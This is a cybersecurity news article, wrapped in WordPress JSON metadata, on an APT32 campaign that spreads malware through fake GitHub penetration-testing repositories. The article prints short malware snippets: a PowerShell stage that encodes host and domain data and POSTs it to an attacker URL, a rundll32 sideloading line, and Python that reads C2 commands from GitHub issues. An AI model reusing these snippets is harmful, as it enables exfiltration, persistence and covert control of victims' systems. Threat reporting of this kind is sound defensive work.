{"id":99304,"date":"2025-04-11T15:16:49","date_gmt":"2025-04-11T15:16:49","guid":{"rendered":"https:\/\/cybersecuritynews.com\/?p=99304"},"modified":"2025-04-11T15:16:52","modified_gmt":"2025-04-11T15:16:52","slug":"apt32-hackers-weaponizing-github","status":"publish","type":"post","link":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/","title":{"rendered":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises"},"content":{"rendered":"\n<p>The APT32 (OceanLotus) has launched a novel campaign weaponizing GitHub repositories to distribute malware to cybersecurity researchers and enterprises.<\/p>\n\n\n\n<p>This operation represents a strategic shift from the group\u2019s historical focus on Southeast Asian government and corporate targets, instead exploiting the trust inherent in open-source platforms to infiltrate specialized defense communities.<\/p>\n\n\n\n<p>The malware, detected by ThreatBook analysts as Trojan.CobaltGate, employs a multi-stage infection chain beginning with socially engineered GitHub repositories posing as legitimate penetration testing tools.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEidVOd-PA78Jbs64kKOxdf6drwkh35gjwRxy526r8JcqHBReHB2oMmLOdUjsmTs9cgzGXfGPhFERweRCViW4HwiOijmKP048TPyX-iuRhmW-9Uul9nLeIEa1KDzAWZLGF5vLJcRNO5-fVsIBVYuYn_tysx1xWxW9hPssI_RRh_cy3i1gSM43vONSTNkDIQ\/s16000\/Poisoned%20account%20(Source%20-%20ThreatBook).webp\" alt=\"\" \/><figcaption class=\"wp-element-caption\">Poisoned account (Source &#8211; ThreatBook)<\/figcaption><\/figure><\/div>\n\n\n<p>These repositories contain <a href=\"https:\/\/cybersecuritynews.com\/highly-obfuscated-net-sectoprat\/\" target=\"_blank\" rel=\"noreferrer noopener\">obfuscated<\/a> malicious code within PowerShell scripts and Visual Basic modules designed to bypass static analysis tools.<\/p>\n\n\n\n<p>Attackers use GitHub Issues and Discussions to promote these tools to professionals searching for red-teaming resources, creating an appearance of authenticity through fake contributor activity and star ratings.<\/p>\n\n\n\n<p>ThreatBook researchers <a href=\"https:\/\/threatbook.io\/blog\/id\/1100\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> the campaign\u2019s signature tactic: weaponized repositories automatically clone and execute payloads via GitHub Actions workflows configured with encrypted triggers.<\/p>\n\n\n\n<p>This technique allows threat actors to maintain plausible deniability while enabling remote code execution through compromised GitHub accounts.<\/p>\n\n\n\n<p>The malware exhibits modular architecture with components tailored for credential harvesting, lateral movement, and persistent access to enterprise networks.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Infection Chain Analysis: From Repository Clone to Domain Dominance<\/strong><\/h2>\n\n\n\n<p>The attack sequence begins when victims clone a repository containing a malicious <code>setup.ps1<\/code> installer script. This PowerShell script executes a three-stage process:-<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Stage 1: Environment Reconnaissance\n$SysData = Get-WmiObject Win32_ComputerSystem | Select-Object -Property Domain,UserName\n$encodedData = &#091;System.Convert]::ToBase64String(&#091;System.Text.Encoding]::Unicode.GetBytes($sysData))\nInvoke-WebRequest -Uri hxxps:\/\/github&#091;.]com\/assets\/scan.php -Method POST -Body $encodedData<\/code><\/pre>\n\n\n\n<p>This reconnaissance phase collects domain architecture details and transmits them to attacker-controlled GitHub Pages sites masquerading as analytics platforms.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjGXg5_GAduy7Vk1yrO0r70NskjdJ26U1KTWPzUjo6Kd68YgMyDkXF8llbVRHrs-YJwGKqlApqM57HjhfgXAvpH-yoGhG7iFOAiQzqlLuRFri8teUrKuFjIiP13n4t7pBRHCHiRVEpeWaCQ8NqXYOfzVebUiWgPX1GcKBAK_oZj01uBZIkWgkRcVFgTihQ\/s16000\/Chinese%20expressions%20(Source%20-%20ThreatBook).webp\" alt=\"\" \/><figcaption class=\"wp-element-caption\">Chinese expressions (Source &#8211; ThreatBook)<\/figcaption><\/figure><\/div>\n\n\n<p>The second stage deploys a memory-resident DLL sideloaded through a spoofed Visual Studio Code extension:-<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' Stage 2: Persistence Mechanism\nSet wshShell = CreateObject(\"WScript.Shell\")\nwshShell.Run \"rundll32.exe \"\"%APPDATA%\\vscode-ext\\msvcp140.dll\"\",ExportInitialize\", 0<\/code><\/pre>\n\n\n\n<p>ThreatBook\u2019s analysis reveals the DLL leverages API hooking to intercept security product communications, specifically targeting endpoint detection and response (<a href=\"https:\/\/cybersecuritynews.com\/best-edr-tools\/\" target=\"_blank\" rel=\"noreferrer noopener\">EDR<\/a>) solutions through forged Microsoft telemetry certificates.<\/p>\n\n\n\n<p>The final payload establishes C2 communication via GitHub\u2019s REST API using OAuth tokens stolen from compromised developer accounts:-<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Stage 3: C2 Communication via GitHub\nimport requests\n\ndef fetch_cmd(gh_token, repo):\n    headers = {\"Authorization\": f\"token {gh_token}\"}\n    response = requests.get(\n        f\"https:\/\/api.github.com\/repos\/{repo}\/issues?labels=update\",\n        headers=headers\n    )\n    return response.json()&#091;0]&#091;'body'].split('|')&#091;1]<\/code><\/pre>\n\n\n\n<p>This technique allows the malware to blend command traffic with legitimate GitHub API calls, bypassing network monitoring tools that whitelist interactions with the platform.<\/p>\n\n\n\n<p>ThreatBook\u2019s reverse engineering team discovered the operators use elliptic-curve Diffie-Hellman (ECDH) key exchange within issue comments to establish encrypted tunnels.<\/p>\n\n\n\n<p>Cybersecurity firms face new challenges as traditional indicators of compromise (IoCs) like malicious IP addresses become less relevant in platform-abuse attacks.<\/p>\n\n\n\n<p>Researchers urged organizations to implement code repository monitoring solutions that analyze repository contributor histories, detect anomalous API token usage patterns, and profile actions workflow behaviors.<\/p>\n\n\n\n<p>With over 87 million developers using GitHub, the platform\u2019s dual role as collaboration hub and attack vector demands renewed scrutiny from enterprise security teams.<\/p>\n\n\n\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 92%,rgb(169,184,195) 100%)\"><strong><code>Equip your team with real-time threat analysis With ANY.RUN\u2019s interactive cloud sandbox -&gt;\u00a0<a href=\"https:\/\/any.run\/demo?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=grandoreiro&amp;utm_content=demo_2&amp;utm_term=090425\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Try 14-day Free Trial<\/a><\/code><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The APT32 (OceanLotus) has launched a novel campaign weaponizing GitHub repositories to distribute malware to cybersecurity researchers and enterprises. This operation represents a strategic shift from the group\u2019s historical focus on Southeast Asian government and corporate targets, instead exploiting the trust inherent in open-source platforms to infiltrate specialized defense communities. The malware, detected by ThreatBook [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":99439,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[11,9],"tags":[144,151],"class_list":{"0":"post-99304","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-cyber-security-news","8":"category-cyber-attack","9":"tag-cyber-attack","10":"tag-cyber-security-news"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.7.1 (Yoast SEO v25.7) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises\" \/>\n<meta property=\"og:description\" content=\"The APT32 (OceanLotus) has launched a novel campaign weaponizing GitHub repositories to distribute malware to cybersecurity researchers and enterprises. This operation represents a strategic shift from the group\u2019s historical focus on Southeast Asian government and corporate targets, instead exploiting the trust inherent in open-source platforms to infiltrate specialized defense communities. The malware, detected by ThreatBook [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/\" \/>\n<meta property=\"og:site_name\" content=\"Cyber Security News\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Hackingtutorialsandnews\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-11T15:16:49+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-04-11T15:16:52+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp\" \/><meta property=\"og:image\" content=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp\" \/>\n<meta name=\"author\" content=\"Tushar Subhra Dutta\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp\" \/>\n<meta name=\"twitter:creator\" content=\"@The_Cyber_News\" \/>\n<meta name=\"twitter:site\" content=\"@The_Cyber_News\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Tushar Subhra Dutta\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals & Enterprises","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/","og_locale":"en_US","og_type":"article","og_title":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises","og_description":"The APT32 (OceanLotus) has launched a novel campaign weaponizing GitHub repositories to distribute malware to cybersecurity researchers and enterprises. This operation represents a strategic shift from the group\u2019s historical focus on Southeast Asian government and corporate targets, instead exploiting the trust inherent in open-source platforms to infiltrate specialized defense communities. The malware, detected by ThreatBook [&hellip;]","og_url":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/","og_site_name":"Cyber Security News","article_publisher":"https:\/\/www.facebook.com\/Hackingtutorialsandnews","article_published_time":"2025-04-11T15:16:49+00:00","article_modified_time":"2025-04-11T15:16:52+00:00","og_image":[{"url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp","type":"","width":"","height":""},{"url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp","type":"","width":"","height":""}],"author":"Tushar Subhra Dutta","twitter_card":"summary_large_image","twitter_image":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp","twitter_creator":"@The_Cyber_News","twitter_site":"@The_Cyber_News","twitter_misc":{"Written by":"Tushar Subhra Dutta"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"NewsArticle","@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#article","isPartOf":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/"},"author":{"name":"Tushar Subhra Dutta","@id":"https:\/\/cybersecuritynews.com\/#\/schema\/person\/7eb7d8d026aa5dd566f134d4def5c05c"},"headline":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises","datePublished":"2025-04-11T15:16:49+00:00","dateModified":"2025-04-11T15:16:52+00:00","mainEntityOfPage":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/"},"wordCount":432,"publisher":{"@id":"https:\/\/cybersecuritynews.com\/#organization"},"image":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#primaryimage"},"thumbnailUrl":"https:\/\/i3.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp?w=1600&resize=1600,900&ssl=1","keywords":["cyber attack","cyber security news"],"articleSection":["Cyber Security News","Cyberattack News"],"inLanguage":"en-US","copyrightYear":"2025","copyrightHolder":{"@id":"https:\/\/cybersecuritynews.com\/#organization"}},{"@type":"WebPage","@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/","url":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/","name":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals & Enterprises","isPartOf":{"@id":"https:\/\/cybersecuritynews.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#primaryimage"},"image":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#primaryimage"},"thumbnailUrl":"https:\/\/i3.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp?w=1600&resize=1600,900&ssl=1","datePublished":"2025-04-11T15:16:49+00:00","dateModified":"2025-04-11T15:16:52+00:00","breadcrumb":{"@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#primaryimage","url":"https:\/\/i3.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp?w=1600&resize=1600,900&ssl=1","contentUrl":"https:\/\/i3.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp?w=1600&resize=1600,900&ssl=1","width":"1600","height":"900"},{"@type":"BreadcrumbList","@id":"https:\/\/cybersecuritynews.com\/apt32-hackers-weaponizing-github\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/cybersecuritynews.com\/"},{"@type":"ListItem","position":2,"name":"APT32 Hackers Weaponizing GitHub to Attack Cybersecurity Professionals &amp; Enterprises"}]},{"@type":"WebSite","@id":"https:\/\/cybersecuritynews.com\/#website","url":"https:\/\/cybersecuritynews.com\/","name":"Cyber Security News","description":"World&#039;s #1 Premier Cybersecurity and Hacking News Portal","publisher":{"@id":"https:\/\/cybersecuritynews.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/cybersecuritynews.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/cybersecuritynews.com\/#organization","name":"Cyber Security News","url":"https:\/\/cybersecuritynews.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/cybersecuritynews.com\/#\/schema\/logo\/image\/","url":"https:\/\/cybersecuritynews.com\/wp-content\/uploads\/2021\/06\/Cyber-security.jpg","contentUrl":"https:\/\/cybersecuritynews.com\/wp-content\/uploads\/2021\/06\/Cyber-security.jpg","width":200,"height":200,"caption":"Cyber Security News"},"image":{"@id":"https:\/\/cybersecuritynews.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Hackingtutorialsandnews","https:\/\/x.com\/The_Cyber_News","https:\/\/www.linkedin.com\/company\/cybersecurity-news\/"]},{"@type":"Person","@id":"https:\/\/cybersecuritynews.com\/#\/schema\/person\/7eb7d8d026aa5dd566f134d4def5c05c","name":"Tushar Subhra Dutta","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/cybersecuritynews.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f8bc0247220c7d4dea6c8b5a77d910613305ead17b13c2a7920b400435a848dd?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f8bc0247220c7d4dea6c8b5a77d910613305ead17b13c2a7920b400435a848dd?s=96&d=mm&r=g","caption":"Tushar Subhra Dutta"},"description":"Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.","url":"https:\/\/cybersecuritynews.com\/author\/tushar\/"}]}},"jetpack_featured_media_url":"https:\/\/i3.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh15Zin8hTr9sQFq5XwwMx7dy0titxOjWAC58Bn4kWysoVV3YKntaO7QfByB_IYn54liDfqkJb0FUkRk04HGfyRc2IQh4O3y9Ln7LWojSfFT_c_nZnXfj3vPeSzW8YHD6018dPA3-saC6cKW9bzMLENC22_qSTwc9NwcmmUShmRbjbtpJzEJsYCw-XhvXc\/s16000\/APT32%20Hackers%20Weaponizing%20GitHub%20to%20Attack%20Cybersecurity%20Professionals%20&%20Enterprises.webp?w=1600&resize=1600,900&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/posts\/99304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/comments?post=99304"}],"version-history":[{"count":3,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/posts\/99304\/revisions"}],"predecessor-version":[{"id":99438,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/posts\/99304\/revisions\/99438"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/media\/99439"}],"wp:attachment":[{"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/media?parent=99304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/categories?post=99304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecuritynews.com\/wp-json\/wp\/v2\/tags?post=99304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}